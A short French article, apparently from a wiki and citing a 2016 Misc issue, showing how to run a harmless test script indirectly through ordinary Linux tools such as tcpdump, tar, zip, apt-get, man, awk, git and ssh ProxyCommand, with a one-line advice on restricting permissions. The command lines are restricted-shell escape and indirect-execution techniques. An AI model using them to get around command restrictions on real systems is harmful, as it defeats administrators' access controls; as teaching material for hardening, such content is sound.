**Exécution détourné de commande** **1.Présentation** Le but de cet article est de montrer comment il est possible d'arriver à exécuter un script runme.sh sans l'appeler directement depuis Bash. Le script est le suivant : #! /bin/bash echo "Hacker forever !" echo "Remember it !" **2.Exploitation** Nous allons utiliser des commandes de bases présentes sur les systèmes d'exploitation Linux pour parvenir à nos fins. __2.1 TCPDUMP__ tcpdump -n -i -lo -G1 -w /dev/null -z ./runme.sh {{ :appsysteme:commande.png?nolink |}} __2.2 SERVICE__ service ../../tmp/runme.sh {{ :appsysteme:commande2.png?nolink |}} __2.3 APT-GET__ echo 'Dpkg::Pre-invoke {"~/tmp/runme.sh";};' > dpkg-opts apt-get install coway -c=dpkg-opts __2.4 TAR__ Première manière : tar c a.tar -I ./runme.sh a {{ :appsysteme:commande3.png?nolink |}} Seconde manière : tar cvf a.tar runme.sh --checkpoint-action=exec='sh ./runme.sh' --checkpoint=1 {{ :appsysteme:commande4.png?nolink |}} __2.5 ZIP__ zip z.zip runme.sh -T -TT ./runme.sh {{ :appsysteme:commande5.png?nolink |}} __2.6 MAN__ man -P /tmp/runme.sh man {{ :appsysteme:commande6.png?nolink |}} __2.7 FIND__ find . -name runme.sh -exec ./runme.sh \; {{ :appsysteme:commande7.png?nolink |}} __2.9 FTP__ ftp ! ./runme.sh {{ :appsysteme:commande8.png?nolink |}} __2.10 AWK__ awk 'BEGIN {system("./runme.sh")}' {{ :appsysteme:commande12.png?nolink |}} __2.11 GIT__ Nous allons modifier la variable d'environnement PATH. export PATH=/tmp:$PATH ln -sf /tmp/runme.sh /tmp/git-help git --exec-path=/tmp help __2.12 SSH__ $ cat .ssh/config Host server Hostname server.corp ProxyCommand /tmp/runme.sh 3.Comment se protéger Il faut bien paramétrer les droits sur votre système Linux pour que les utilisateurs n'est pas accès à des commandes non nécessaires. Source : Misc n°83 janvier/février 2016